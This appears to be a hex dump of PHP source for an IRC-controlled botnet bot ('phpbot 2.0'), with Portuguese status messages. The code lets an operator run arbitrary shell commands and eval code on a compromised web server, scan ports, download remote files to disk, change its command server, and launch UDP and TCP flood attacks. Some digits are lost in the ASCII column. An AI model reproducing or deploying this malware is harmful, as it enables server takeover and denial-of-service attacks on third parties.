10432: 20636173652022626F74223A0D0A0D0A20202020202020202020202020202020          case "bot":
10464: 20202020202020202020202020202024746869732D3E707269766D7367282474          $this->privmsg($t
10496: 6869732D3E636F6E6669675B276368616E275D2C225B5C32626F745C325D3A20          his->config['chan'],"[\2bot\2]:
10528: 706870626F7420322E302062793B204E4F47524F442E22293B0D0A0D0A202020          phpbot 2.  by; NOGROD.");
10560: 20202020202020202020202020202020202020202020202020627265616B3B0D          break;
10592: 0A0D0A2020202020202020202020202020202020202020202020202020202063          c
10624: 6173652022756E616D65223A0D0A0D0A20202020202020202020202020202020          ase "uname":
10656: 2020202020202020202020202020206966202840696E695F6765742822736166          if (@ini_get("saf
10688: 655F6D6F64652229206F7220737472746F6C6F7765722840696E695F67657428          e_mode") or strtolower(@ini_get(
10720: 22736166655F6D6F6465222929203D3D20226F6E2229207B2024736166656D6F          "safe_mode")) == "on") { $safemo
10752: 6465203D20226F6E223B207D0D0A0D0A20202020202020202020202020202020          de = "on"; }
10784: 202020202020202020202020202020656C7365207B2024736166656D6F646520          else { $safemode
10816: 3D20226F6666223B207D0D0A0D0A202020202020202020202020202020202020          = "off"; }
10848: 2020202020202020202020202024756E616D65203D207068705F756E616D6528          $uname = php_uname(
10880: 293B0D0A0D0A2020202020202020202020202020202020202020202020202020          );
10912: 202020202024746869732D3E707269766D73672824746869732D3E636F6E6669          $this->privmsg($this->confi
10944: 675B276368616E275D2C225B5C32696E666F5C325D3A2024756E616D65202873          g['chan'],"[\2info\2]: $uname (s
10976: 6166653A2024736166656D6F64652922293B0D0A0D0A20202020202020202020          afe: $safemode)");
11008: 202020202020202020202020202020202020627265616B3B0D0A0D0A20202020          break;
11040: 202020202020202020202020202020202020202020202020636173652022726E          case "rn
11072: 646E69636B223A0D0A0D0A202020202020202020202020202020202020202020          dnick":
11104: 2020202020202020202024746869732D3E7365745F6E69636B28293B0D0A0D0A          $this->set_nick();
11136: 2020202020202020202020202020202020202020202020202020202062726561          brea
11168: 6B3B0D0A0D0A2020202020202020202020202020202020202020202020202020          k;
11200: 2020636173652022726177223A0D0A0D0A202020202020202020202020202020          case "raw":
11232: 2020202020202020202020202020202024746869732D3E73656E642873747273          $this->send(strs
11264: 747228246D73672C246D636D645B315D29293B0D0A0D0A202020202020202020          tr($msg,$mcmd[1]));
11296: 20202020202020202020202020202020202020627265616B3B0D0A0D0A202020          break;
11328: 2020202020202020202020202020202020202020202020202063617365202265          case "e
11360: 76616C223A0D0A0D0A2020202020202020202020202020202020202020202020          val":
11392: 20202020202020246576616C203D206576616C28737562737472287374727374          $eval = eval(substr(strst
11424: 7228246D73672C246D636D645B315D292C7374726C656E28246D636D645B315D          r($msg,$mcmd[1]),strlen($mcmd[1]
11456: 2929293B0D0A0D0A202020202020202020202020202020202020202020202020          )));
11488: 20202020627265616B3B0D0A0D0A202020202020202020202020202020202020          break;
11520: 2020202020202020202020202020202020202020202063617365202273657865          case "sexe
11552: 63223A0D0A0D0A20202020202020202020202020202020202020202020202020          c":
11584: 20202020202024636F6D6D616E64203D20737562737472287374727374722824          $command = substr(strstr($
11616: 6D73672C246D636D645B305D292C7374726C656E28246D636D645B305D292B31          msg,$mcmd[ ]),strlen($mcmd[ ])+1
11648: 293B0D0A0D0A2020202020202020202020202020202020202020202020202020          );
11680: 20202020202465786563203D207368656C6C5F657865632824636F6D6D616E64          $exec = shell_exec($command
11712: 293B0D0A0D0A2020202020202020202020202020202020202020202020202020          );
11744: 202020202024726574203D206578706C6F646528225C6E222C2465786563293B          $ret = explode("\n",$exec);
11776: 0D0A0D0A20202020202020202020202020202020202020202020202020202020         
11808: 202020666F722824693D303B24693C636F756E742824726574293B24692B2B29          for($i= ;$i<count($ret);$i++)
11840: 0D0A0D0A20202020202020202020202020202020202020202020202020202020         
11872: 202020202020696628247265745B24695D213D4E554C4C290D0A0D0A20202020          if($ret[$i]!=NULL)
11904: 2020202020202020202020202020202020202020202020202020202020202020         
11936: 2024746869732D3E707269766D73672824746869732D3E636F6E6669675B2763          $this->privmsg($this->config['c
11968: 68616E275D2C222020202020203A20222E7472696D28247265745B24695D2929          han']," : ".trim($ret[$i]))
12000: 3B0D0A0D0A202020202020202020202020202020202020202020202020202020          ;
12032: 20627265616B3B0D0A0D0A0D0A0D0A2020202020202020202020202020202020          break;
12064: 202020202020202020202063617365202265786563223A0D0A0D0A2020202020          case "exec":
12096: 202020202020202020202020202020202020202020202020202024636F6D6D61          $comma
12128: 6E64203D207375627374722873747273747228246D73672C246D636D645B305D          nd = substr(strstr($msg,$mcmd[ ]
12160: 292C7374726C656E28246D636D645B305D292B31293B0D0A0D0A202020202020          ),strlen($mcmd[ ])+1);
12192: 202020202020202020202020202020202020202020202020202465786563203D          $exec =
12224: 20657865632824636F6D6D616E64293B0D0A0D0A202020202020202020202020          exec($command);
12256: 2020202020202020202020202020202020202024726574203D206578706C6F64          $ret = explod
12288: 6528225C6E222C2465786563293B0D0A0D0A2020202020202020202020202020          e("\n",$exec);
12320: 2020202020202020202020202020202020666F722824693D303B24693C636F75          for($i= ;$i<cou
12352: 6E742824726574293B24692B2B290D0A0D0A2020202020202020202020202020          nt($ret);$i++)
12384: 2020202020202020202020202020202020202020696628247265745B24695D21          if($ret[$i]!
12416: 3D4E554C4C290D0A0D0A20202020202020202020202020202020202020202020          =NULL)
12448: 20202020202020202020202020202024746869732D3E707269766D7367282474          $this->privmsg($t
12480: 6869732D3E636F6E6669675B276368616E275D2C222020202020203A20222E74          his->config['chan']," : ".t
12512: 72696D28247265745B24695D29293B0D0A0D0A20202020202020202020202020          rim($ret[$i]));
12544: 202020202020202020202020202020627265616B3B0D0A0D0A0D0A0D0A202020          break;
12576: 2020202020202020202020202020202020202020202020202063617365202270          case "p
12608: 61737374687275223A0D0A0D0A20202020202020202020202020202020202020          assthru":
12640: 20202020202020202020202024636F6D6D616E64203D20737562737472287374          $command = substr(st
12672: 7273747228246D73672C246D636D645B305D292C7374726C656E28246D636D64          rstr($msg,$mcmd[ ]),strlen($mcmd
12704: 5B305D292B31293B0D0A0D0A2020202020202020202020202020202020202020          [ ])+1);
12736: 20202020202020202020202465786563203D2070617373746872752824636F6D          $exec = passthru($com
12768: 6D616E64293B0D0A0D0A20202020202020202020202020202020202020202020          mand);
12800: 20202020202020202024726574203D206578706C6F646528225C6E222C246578          $ret = explode("\n",$ex
12832: 6563293B0D0A0D0A202020202020202020202020202020202020202020202020          ec);
12864: 20202020202020666F722824693D303B24693C636F756E742824726574293B24          for($i= ;$i<count($ret);$
12896: 692B2B290D0A0D0A202020202020202020202020202020202020202020202020          i++)
12928: 20202020202020202020696628247265745B24695D213D4E554C4C290D0A0D0A          if($ret[$i]!=NULL)
12960: 2020202020202020202020202020202020202020202020202020202020202020         
12992: 202020202024746869732D3E707269766D73672824746869732D3E636F6E6669          $this->privmsg($this->confi
13024: 675B276368616E275D2C222020202020203A20222E7472696D28247265745B24          g['chan']," : ".trim($ret[$
13056: 695D29293B0D0A0D0A2020202020202020202020202020202020202020202020          i]));
13088: 2020202020627265616B3B0D0A0D0A0D0A0D0A20202020202020202020202020          break;
13120: 202020202020202020202020202020636173652022706F70656E223A0D0A0D0A          case "popen":
13152: 2020202020202020202020202020202020202020202020202020202020202069          i
13184: 6628697373657428246D636D645B315D29290D0A0D0A20202020202020202020          f(isset($mcmd[1]))
13216: 2020202020202020202020202020202020202020207B0D0A0D0A202020202020          {
13248: 2020202020202020202020202020202020202020202020202020202024636F6D          $com
13280: 6D616E64203D207375627374722873747273747228246D73672C246D636D645B          mand = substr(strstr($msg,$mcmd[
13312: 305D292C7374726C656E28246D636D645B305D292B31293B0D0A0D0A20202020           ]),strlen($mcmd[ ])+1);
13344: 2020202020202020202020202020202020202020202020202020202020202474          $t
13376: 6869732D3E707269766D73672824746869732D3E636F6E6669675B276368616E          his->privmsg($this->config['chan
13408: 275D2C225B5C32706F70656E5C325D3A2024636F6D6D616E6422293B0D0A0D0A          '],"[\2popen\2]: $command");
13440: 2020202020202020202020202020202020202020202020202020202020202020         
13472: 20202470697065203D20706F70656E2824636F6D6D616E642C227222293B0D0A          $pipe = popen($command,"r");
13504: 0D0A202020202020202020202020202020202020202020202020202020202020         
13536: 202020207768696C65282166656F6628247069706529290D0A0D0A2020202020          while(!feof($pipe))
13568: 20202020202020202020202020202020202020202020202020202020207B0D0A          {
13600: 0D0A202020202020202020202020202020202020202020202020202020202020         
13632: 202020202020202470627566203D207472696D2866676574732824706970652C          $pbuf = trim(fgets($pipe,
13664: 35313229293B0D0A0D0A20202020202020202020202020202020202020202020          512));
13696: 202020202020202020202020202020696628247062756620213D204E554C4C29          if($pbuf != NULL)
13728: 0D0A0D0A20202020202020202020202020202020202020202020202020202020         
13760: 20202020202020202020202024746869732D3E707269766D7367282474686973          $this->privmsg($this
13792: 2D3E636F6E6669675B276368616E275D2C2220202020203A2024706275662229          ->config['chan']," : $pbuf")
13824: 3B0D0A0D0A202020202020202020202020202020202020202020202020202020          ;
13856: 202020202020207D0D0A0D0A2020202020202020202020202020202020202020          }
13888: 202020202020202020202020202070636C6F7365282470697065293B0D0A0D0A          pclose($pipe);
13920: 202020202020202020202020202020202020202020202020202020202020207D          }
13952: 20200D0A0D0A0D0A0D0A20202020202020202020202020202020202020202020         
13984: 20202020202063617365202273797374656D223A0D0A0D0A2020202020202020          case "system":
14016: 202020202020202020202020202020202020202020202024636F6D6D616E6420          $command
14048: 3D207375627374722873747273747228246D73672C246D636D645B305D292C73          = substr(strstr($msg,$mcmd[ ]),s
14080: 74726C656E28246D636D645B305D292B31293B0D0A0D0A202020202020202020          trlen($mcmd[ ])+1);
14112: 202020202020202020202020202020202020202020202465786563203D207379          $exec = sy
14144: 7374656D2824636F6D6D616E64293B0D0A0D0A20202020202020202020202020          stem($command);
14176: 20202020202020202020202020202020202024726574203D206578706C6F6465          $ret = explode
14208: 28225C6E222C2465786563293B0D0A0D0A202020202020202020202020202020          ("\n",$exec);
14240: 20202020202020202020202020202020666F722824693D303B24693C636F756E          for($i= ;$i<coun
14272: 742824726574293B24692B2B290D0A0D0A202020202020202020202020202020          t($ret);$i++)
14304: 20202020202020202020202020202020202020696628247265745B24695D213D          if($ret[$i]!=
14336: 4E554C4C290D0A0D0A2020202020202020202020202020202020202020202020          NULL)
14368: 202020202020202020202020202024746869732D3E707269766D736728247468          $this->privmsg($th
14400: 69732D3E636F6E6669675B276368616E275D2C222020202020203A20222E7472          is->config['chan']," : ".tr
14432: 696D28247265745B24695D29293B0D0A0D0A2020202020202020202020202020          im($ret[$i]));
14464: 2020202020202020202020202020627265616B3B0D0A0D0A0D0A0D0A20202020          break;
14496: 2020202020202020202020202020202020202020202020206361736520227073          case "ps
14528: 63616E223A202F2F202E707363616E203132372E302E302E3120363636370D0A          can": // .pscan 127. . .1 6667
14560: 0D0A202020202020202020202020202020202020202020202020202020202020         
14592: 20696628636F756E7428246D636D6429203E2032290D0A0D0A20202020202020          if(count($mcmd) > 2)
14624: 2020202020202020202020202020202020202020202020207B0D0A0D0A202020          {
14656: 2020202020202020202020202020202020202020202020202020202020202069          i
14688: 662866736F636B6F70656E28246D636D645B315D2C246D636D645B325D2C2465          f(fsockopen($mcmd[1],$mcmd[2],$e
14720: 2C24732C313529290D0A0D0A2020202020202020202020202020202020202020          ,$s,15))
14752: 202020202020202020202020202020202024746869732D3E707269766D736728          $this->privmsg(
14784: 24746869732D3E636F6E6669675B276368616E275D2C225B5C32707363616E5C          $this->config['chan'],"[\2pscan\
14816: 325D3A20222E246D636D645B315D2E223A222E246D636D645B325D2E22206973          2]: ".$mcmd[1].":".$mcmd[2]." is
14848: 205C326F70656E5C3222293B0D0A0D0A20202020202020202020202020202020          \2open\2");
14880: 202020202020202020202020202020202020656C73650D0A0D0A202020202020          else
14912: 2020202020202020202020202020202020202020202020202020202020202024          $
14944: 746869732D3E707269766D73672824746869732D3E636F6E6669675B27636861          this->privmsg($this->config['cha
14976: 6E275D2C225B5C32707363616E5C325D3A20222E246D636D645B315D2E223A22          n'],"[\2pscan\2]: ".$mcmd[1].":"
15008: 2E246D636D645B325D2E22206973205C32636C6F7365645C3222293B0D0A0D0A          .$mcmd[2]." is \2closed\2");
15040: 202020202020202020202020202020202020202020202020202020202020207D          }
15072: 0D0A0D0A20202020202020202020202020202020202020202020202020202020         
15104: 627265616B3B0D0A0D0A20202020202020202020202020202020202020202020          break;
15136: 20202020202063617365202275642E736572766572223A202F2F202E75642E73          case "ud.server": // .ud.s
15168: 6572766572203C7365727665723E203C706F72743E205B70617373776F72645D          erver <server> <port> [password]
15200: 0D0A0D0A20202020202020202020202020202020202020202020202020202020         
15232: 202020696628636F756E7428246D636D64293E32290D0A0D0A20202020202020          if(count($mcmd)>2)
15264: 2020202020202020202020202020202020202020202020207B0D0A0D0A202020          {
15296: 2020202020202020202020202020202020202020202020202020202020202024          $
15328: 746869732D3E636F6E6669675B27736572766572275D203D20246D636D645B31          this->config['server'] = $mcmd[1
15360: 5D3B0D0A0D0A2020202020202020202020202020202020202020202020202020          ];
15392: 202020202020202024746869732D3E636F6E6669675B27706F7274275D203D20          $this->config['port'] =
15424: 246D636D645B325D3B0D0A0D0A20202020202020202020202020202020202020          $mcmd[2];
15456: 202020202020202020202020202020696628697373657428246D636D63645B33          if(isset($mcmcd[3
15488: 5D29290D0A0D0A20202020202020202020202020202020202020202020202020          ]))
15520: 2020202020202020207B0D0A0D0A202020202020202020202020202020202020          {
15552: 202020202020202020202020202020202024746869732D3E636F6E6669675B27          $this->config['
15584: 70617373275D203D20246D636D645B335D3B0D0A0D0A20202020202020202020          pass'] = $mcmd[3];
15616: 2020202020202020202020202020202020202020202020202024746869732D3E          $this->
15648: 707269766D73672824746869732D3E636F6E6669675B276368616E275D2C225B          privmsg($this->config['chan'],"[
15680: 5C327570646174655C325D3A205365727665722074726F6361646F2070617261          \2update\2]: Server trocado para
15712: 20222E246D636D645B315D2E223A222E246D636D645B325D2E222053656E6861          ".$mcmd[1].":".$mcmd[2]." Senha
15744: 3A20222E246D636D645B335D293B0D0A0D0A2020202020202020202020202020          : ".$mcmd[3]);
15776: 20202020202020202020202020202020202020207D0D0A0D0A20202020202020          }
15808: 202020202020202020202020202020202020202020202020202020656C73650D          else
15840: 0A0D0A2020202020202020202020202020202020202020202020202020202020         
15872: 20202020207B0D0A0D0A20202020202020202020202020202020202020202020          {
15904: 20202020202020202020202020202024746869732D3E707269766D7367282474          $this->privmsg($t
15936: 6869732D3E636F6E6669675B276368616E275D2C225B5C327570646174655C32          his->config['chan'],"[\2update\2
15968: 5D3A205365727665722074726F6361646F207061726120222E246D636D645B31          ]: Server trocado para ".$mcmd[1
16000: 5D2E223A222E246D636D645B325D293B0D0A0D0A202020202020202020202020          ].":".$mcmd[2]);
16032: 202020202020202020202020202020202020202020207D0D0A0D0A2020202020          }
16064: 20202020202020202020202020202020202020202020202020207D0D0A0D0A20          }
16096: 202020202020202020202020202020202020202020202020202020627265616B          break
16128: 3B0D0A0D0A202020202020202020202020202020202020202020202020202020          ;
16160: 20636173652022646F776E6C6F6164223A0D0A0D0A2020202020202020202020          case "download":
16192: 2020202020202020202020202020202020202020696628636F756E7428246D63          if(count($mc
16224: 6D6429203E2032290D0A0D0A2020202020202020202020202020202020202020          md) > 2)
16256: 20202020202020202020207B0D0A0D0A20202020202020202020202020202020          {
16288: 20202020202020202020202020202020202069662821246670203D20666F7065          if(!$fp = fope
16320: 6E28246D636D645B325D2C22772229290D0A0D0A202020202020202020202020          n($mcmd[2],"w"))
16352: 202020202020202020202020202020202020202020207B0D0A0D0A2020202020          {
16384: 2020202020202020202020202020202020202020202020202020202020202020         
16416: 24746869732D3E707269766D73672824746869732D3E636F6E6669675B276368          $this->privmsg($this->config['ch
16448: 616E275D2C225B5C32646F776E6C6F61645C325D3A204E616F20666F6920706F          an'],"[\2download\2]: Nao foi po
16480: 73736976656C2066617A6572206F20646F776E6C6F61642E205065726D697373          ssivel fazer o download. Permiss
16512: 616F206E65676164612E22293B0D0A0D0A202020202020202020202020202020          ao negada.");
16544: 202020202020202020202020202020202020207D0D0A0D0A2020202020202020          }
16576: 2020202020202020202020202020202020202020202020202020656C73650D0A          else
16608: 0D0A202020202020202020202020202020202020202020202020202020202020         
16640: 202020207B0D0A0D0A2020202020202020202020202020202020202020202020          {
16672: 20202020202020202020202020206966282124676574203D2066696C6528246D          if(!$get = file($m
16704: 636D645B315D29290D0A0D0A2020202020202020202020202020202020202020          cmd[1]))
16736: 20202020202020202020202020202020207B0D0A0D0A20202020202020202020          {
16768: 2020202020202020202020202020202020202020202020202020202020202474          $t
16800: 6869732D3E707269766D73672824746869732D3E636F6E6669675B276368616E          his->privmsg($this->config['chan
16832: 275D2C225B5C32646F776E6C6F61645C325D3A204E616F20666F6920706F7373          '],"[\2download\2]: Nao foi poss
16864: 6976656C2066617A6572206F20646F776E6C6F6164206465205C32222E246D63          ivel fazer o download de \2".$mc
16896: 6D645B315D2E225C3222293B0D0A0D0A20202020202020202020202020202020          md[1]."\2");
16928: 2020202020202020202020202020202020202020207D0D0A0D0A202020202020          }
16960: 2020202020202020202020202020202020202020202020202020202020202065          e
16992: 6C73650D0A0D0A20202020202020202020202020202020202020202020202020          lse
17024: 2020202020202020202020207B0D0A0D0A202020202020202020202020202020          {
17056: 20202020202020202020202020202020202020202020202020666F722824693D          for($i=
17088: 303B24693C3D636F756E742824676574293B24692B2B290D0A0D0A2020202020           ;$i<=count($get);$i++)
17120: 2020202020202020202020202020202020202020202020202020202020202020         
17152: 2020207B0D0A0D0A202020202020202020202020202020202020202020202020          {
17184: 20202020202020202020202020202020202020667772697465282466702C2467          fwrite($fp,$g
17216: 65745B24695D293B0D0A0D0A2020202020202020202020202020202020202020          et[$i]);
17248: 20202020202020202020202020202020202020207D0D0A0D0A20202020202020          }
17280: 2020202020202020202020202020202020202020202020202020202020202020         
17312: 2024746869732D3E707269766D73672824746869732D3E636F6E6669675B2763          $this->privmsg($this->config['c
17344: 68616E275D2C225B5C32646F776E6C6F61645C325D3A204172717569766F205C          han'],"[\2download\2]: Arquivo \
17376: 32222E246D636D645B315D2E225C32206261697861646F2070617261205C3222          2".$mcmd[1]."\2 baixado para \2"
17408: 2E246D636D645B325D2E225C3222293B0D0A0D0A202020202020202020202020          .$mcmd[2]."\2");
17440: 202020202020202020202020202020202020202020202020207D0D0A0D0A2020          }
17472: 2020202020202020202020202020202020202020202020202020202020202020         
17504: 20202066636C6F736528246670293B0D0A0D0A20202020202020202020202020          fclose($fp);
17536: 2020202020202020202020202020202020202020207D0D0A0D0A202020202020          }
17568: 202020202020202020202020202020202020202020202020207D0D0A0D0A2020          }
17600: 2020202020202020202020202020202020202020202020202020202020656C73          els
17632: 65207B2024746869732D3E707269766D73672824746869732D3E636F6E666967          e { $this->privmsg($this->config
17664: 5B276368616E275D2C225B5C32646F776E6C6F61645C325D3A20757365202E64          ['chan'],"[\2download\2]: use .d
17696: 6F776E6C6F616420687474703A2F2F796F75722E686F73742F66696C65202F74          ownload http://your.host/file /t
17728: 6D702F66696C6522293B207D0D0A0D0A20202020202020202020202020202020          mp/file"); }
17760: 202020202020202020202020627265616B3B0D0A0D0A20202020202020202020          break;
17792: 202020202020202020202020202020202020636173652022646965223A0D0A0D          case "die":
17824: 0A20202020202020202020202020202020202020202020202020202020202020         
17856: 24746869732D3E73656E64282251554954203A64696520636F6D6D616E642066          $this->send("QUIT :die command f
17888: 726F6D20246E69636B22293B0D0A0D0A20202020202020202020202020202020          rom $nick");
17920: 20202020202020202020202020202066636C6F73652824746869732D3E636F6E          fclose($this->con
17952: 6E293B0D0A0D0A20202020202020202020202020202020202020202020202020          n);
17984: 202020202020657869743B0D0A0D0A2020202020202020202020202020202020          exit;
18016: 20202020202020202020206361736520226C6F676F7574223A0D0A0D0A202020          case "logout":
18048: 2020202020202020202020202020202020202020202020202020202024746869          $thi
18080: 732D3E6C6F675F6F75742824686F7374293B0D0A0D0A20202020202020202020          s->log_out($host);
18112: 20202020202020202020202020202020202020202024746869732D3E70726976          $this->priv
18144: 6D73672824746869732D3E636F6E6669675B276368616E275D2C225B5C326175          msg($this->config['chan'],"[\2au
18176: 74685C325D3A20246E69636B206465736C6F6761646F2122293B0D0A0D0A2020          th\2]: $nick deslogado!");
18208: 2020202020202020202020202020202020202020202020202020627265616B3B          break;
18240: 0D0A0D0A20202020202020202020202020202020202020202020202020202020         
18272: 636173652022756470666C6F6F64223A0D0A0D0A202020202020202020202020          case "udpflood":
18304: 20202020202020202020202020202020202020696628636F756E7428246D636D          if(count($mcm
18336: 64293E33290D0A0D0A2020202020202020202020202020202020202020202020          d)>3)
18368: 20202020202020207B0D0A0D0A20202020202020202020202020202020202020          {
18400: 20202020202020202020202020202024746869732D3E756470666C6F6F642824          $this->udpflood($
18432: 6D636D645B315D2C246D636D645B325D2C246D636D645B335D293B0D0A0D0A20          mcmd[1],$mcmd[2],$mcmd[3]);
18464: 2020202020202020202020202020202020202020202020202020202020207D0D          }
18496: 0A0D0A2020202020202020202020202020202020202020202020202020202062          b
18528: 7265616B3B0D0A0D0A2020202020202020202020202020202020202020202020          reak;
18560: 2020202020636173652022746370666C6F6F64223A0D0A0D0A20202020202020          case "tcpflood":
18592: 202020202020202020202020202020202020202020202020696628636F756E74          if(count
18624: 28246D636D64293E35290D0A0D0A202020202020202020202020202020202020          ($mcmd)>5)
18656: 202020202020202020202020207B0D0A0D0A2020202020202020202020202020          {
18688: 202020202020202020202020202020202020202024746869732D3E746370666C          $this->tcpfl
18720: 6F6F6428246D636D645B315D2C246D636D645B325D2C246D636D645B335D2C24          ood($mcmd[1],$mcmd[2],$mcmd[3],$
18752: 6D636D645B345D2C246D636D645B355D293B0D0A0D0A20202020202020202020          mcmd[4],$mcmd[5]);
18784: 2020202020202020202020202020202020202020207D0D0A0D0A202020202020          }
18816: 20202020202020202020202020202020202020202020627265616B3B0D0A0D0A          break;
18848: 202020202020202020202020202020202020202020202020207D0D0A0D0A2020          }
18880: 20202020202020202020202020202020202020207D0D0A0D0A20202020202020          }
18912: 2020202020202020202020207D0D0A0D0A202020202020202020202020202020          }
18944: 20627265616B3B0D0A0D0A202020202020202020202020207D0D0A0D0A202020          break; }
18976: 202020202020207D0D0A0D0A202020202020207D0D0A0D0A2020202020202024          } } $
19008: 6F6C645F627566203D2024746869732D3E6275663B0D0A0D0A202020207D0D0A          old_buf = $this->buf; }
19040: 0D0A2020202024746869732D3E737461727428293B0D0A0D0A7D0D0A0D0A6675          $this->start(); } fu
19072: 6E6374696F6E2073656E6428246D7367290D0A0D0A7B0D0A0D0A202020206677          nction send($msg) { fw
19104: 726974652824746869732D3E636F6E6E2C22246D73675C725C6E22293B0D0A0D          rite($this->conn,"$msg\r\n");
19136: 0A0D0A0D0A7D0D0A0D0A66756E6374696F6E206A6F696E28246368616E2C246B          } function join($chan,$k
19168: 65793D4E554C4C290D0A0D0A7B0D0A0D0A2020202024746869732D3E73656E64          ey=NULL) { $this->send
19200: 28224A4F494E20246368616E20246B657922293B0D0A0D0A7D0D0A0D0A66756E          ("JOIN $chan $key"); } fun
19232: 6374696F6E20707269766D73672824746F2C246D7367290D0A0D0A7B0D0A0D0A          ction privmsg($to,$msg) {
19264: 2020202024746869732D3E73656E642822505249564D53472024746F203A246D          $this->send("PRIVMSG $to :$m
19296: 736722293B0D0A0D0A7D0D0A0D0A66756E6374696F6E206E6F74696365282474          sg"); } function notice($t
19328: 6F2C246D7367290D0A0D0A7B0D0A0D0A2020202024746869732D3E73656E6428          o,$msg) { $this->send(
19360: 224E4F544943452024746F203A246D736722293B0D0A0D0A7D0D0A0D0A66756E          "NOTICE $to :$msg"); } fun
19392: 6374696F6E2069735F6C6F676765645F696E2824686F7374290D0A0D0A7B0D0A          ction is_logged_in($host) {
19424: 0D0A2020202069662869737365742824746869732D3E75736572735B24686F73          if(isset($this->users[$hos
19456: 745D29290D0A0D0A2020202020202072657475726E20313B0D0A0D0A20202020          t])) return 1;
19488: 656C73650D0A0D0A2020202020202072657475726E20303B0D0A0D0A7D0D0A0D          else return  ; }
19520: 0A66756E6374696F6E206C6F675F696E2824686F7374290D0A0D0A7B0D0A0D0A          function log_in($host) {
19552: 2020202024746869732D3E75736572735B24686F73745D203D20747275653B0D          $this->users[$host] = true;
19584: 0A0D0A7D0D0A0D0A66756E6374696F6E206C6F675F6F75742824686F7374290D          } function log_out($host)
19616: 0A0D0A7B0D0A0D0A20202020756E7365742824746869732D3E75736572735B24          { unset($this->users[$
19648: 686F73745D293B0D0A0D0A7D0D0A0D0A66756E6374696F6E207365745F6E6963          host]); } function set_nic
19680: 6B28290D0A0D0A7B0D0A0D0A20202020696628697373657428245F5345525645          k() { if(isset($_SERVE
19712: 525B275345525645525F534F465457415245275D29290D0A0D0A202020207B0D          R['SERVER_SOFTWARE'])) {
19744: 0A0D0A2020202020202069662873747273747228737472746F6C6F7765722824          if(strstr(strtolower($
19776: 5F5345525645525B275345525645525F534F465457415245275D292C22617061          _SERVER['SERVER_SOFTWARE']),"apa
19808: 6368652229290D0A0D0A2020202020202020202024746869732D3E6E69636B20          che")) $this->nick
19840: 3D20225B585D223B0D0A0D0A20202020202020656C7365696628737472737472          = "[X]"; elseif(strstr
19872: 28737472746F6C6F77657228245F5345525645525B275345525645525F534F46          (strtolower($_SERVER['SERVER_SOF
19904: 5457415245275D292C226969732229290D0A0D0A202020202020202020202474          TWARE']),"iis")) $t
19936: 6869732D3E6E69636B203D20225B485D223B0D0A0D0A20202020202020656C73          his->nick = "[H]"; els
19968: 6569662873747273747228737472746F6C6F77657228245F5345525645525B27          eif(strstr(strtolower($_SERVER['
20000: 5345525645525F534F465457415245275D292C22786974616D692229290D0A0D          SERVER_SOFTWARE']),"xitami"))
20032: 0A2020202020202020202024746869732D3E6E69636B203D20225B435D223B0D          $this->nick = "[C]";
20064: 0A0D0A20202020202020656C73650D0A0D0A2020202020202020202024746869          else $thi
20096: 732D3E6E69636B203D20225B555D223B0D0A0D0A202020207D0D0A0D0A202020          s->nick = "[U]"; }
20128: 20656C73650D0A0D0A202020207B0D0A0D0A2020202020202024746869732D3E          else { $this->
20160: 6E69636B203D20225B435D223B0D0A0D0A202020207D0D0A0D0A202020202474          nick = "[C]"; } $t
20192: 6869732D3E6E69636B202E3D2024746869732D3E636F6E6669675B2770726566          his->nick .= $this->config['pref
20224: 6978275D3B0D0A0D0A20202020666F722824693D303B24693C24746869732D3E          ix']; for($i= ;$i<$this->
20256: 636F6E6669675B276D617872616E64275D3B24692B2B290D0A0D0A2020202020          config['maxrand'];$i++)
20288: 202024746869732D3E6E69636B202E3D206D745F72616E6428302C39293B0D0A          $this->nick .= mt_rand( ,9);
20320: 0D0A2020202024746869732D3E73656E6428224E49434B20222E24746869732D          $this->send("NICK ".$this-
20352: 3E6E69636B293B0D0A0D0A7D0D0A0D0A202066756E6374696F6E20756470666C          >nick); } function udpfl
20384: 6F6F642824686F73742C247061636B657473697A652C2474696D6529207B0D0A          ood($host,$packetsize,$time) {
20416: 0D0A202020202020202024746869732D3E707269766D73672824746869732D3E          $this->privmsg($this->
20448: 636F6E6669675B276368616E275D2C225B5C32556470466C6F6F642053746172          config['chan'],"[\2UdpFlood Star
20480: 746564215C325D22293B0D0A0D0A2020202020202020247061636B6574203D20          ted!\2]"); $packet =
20512: 22223B0D0A0D0A2020202020202020666F722824693D303B24693C247061636B          ""; for($i= ;$i<$pack
20544: 657473697A653B24692B2B29207B20247061636B6574202E3D20636872286D74          etsize;$i++) { $packet .= chr(mt
20576: 5F72616E6428312C32353629293B207D0D0A0D0A20202020202020202474696D          _rand(1,256)); } $tim
20608: 6569203D2074696D6528293B0D0A0D0A20202020202020202469203D20303B0D          ei = time(); $i =  ;
20640: 0A0D0A20202020202020207768696C652874696D6528292D2474696D6569203C          while(time()-$timei <
20672: 202474696D6529207B0D0A0D0A20202020202020202020202020202020246670          $time) { $fp
20704: 3D66736F636B6F70656E28227564703A2F2F222E24686F73742C6D745F72616E          =fsockopen("udp://".$host,mt_ran
20736: 6428302C36303030292C24652C24732C35293B0D0A0D0A202020202020202066          d( ,6   ),$e,$s,5); f
20768: 7772697465282466702C247061636B6574293B0D0A0D0A202020202020202066          write($fp,$packet); f
20800: 636C6F736528246670293B0D0A0D0A2020202020202020202020202020202024          close($fp); $
20832: 692B2B3B0D0A0D0A20202020202020207D0D0A0D0A202020202020202024656E          i++; } $en
20864: 76203D202469202A20247061636B657473697A653B0D0A0D0A20202020202020          v = $i * $packetsize;
20896: 2024656E76203D2024656E76202F20313034383537363B0D0A0D0A2020202020          $env = $env / 1 48576;
20928: 2020202476656C203D2024656E76202F202474696D653B0D0A0D0A2020202020          $vel = $env / $time;
20960: 2020202476656C203D20726F756E64282476656C293B0D0A0D0A202020202020          $vel = round($vel);
20992: 202024656E76203D20726F756E642824656E76293B0D0A0D0A20202020202020          $env = round($env);
21024: 2024746869732D3E707269766D73672824746869732D3E636F6E6669675B2763          $this->privmsg($this->config['c
21056: 68616E275D2C225B5C32556470466C6F6F642046696E6973686564215C325D3A          han'],"[\2UdpFlood Finished!\2]:
21088: 0331362024656E76204D42200331324655434B202F204D656469613A03332024          16 $env MB 12FUCK / Media:3 $
21120: 76656C204D422F73200322293B0D0A0D0A7D0D0A0D0A0D0A0D0A66756E637469          vel MB/s "); } functi
21152: 6F6E20746370666C6F6F642824686F73742C247061636B6574732C247061636B          on tcpflood($host,$packets,$pack
21184: 657473697A652C24706F72742C2464656C6179290D0A0D0A7B0D0A0D0A202020          etsize,$port,$delay) {
21216: 2024746869732D3E707269766D73672824746869732D3E636F6E6669675B2763          $this->privmsg($this->config['c
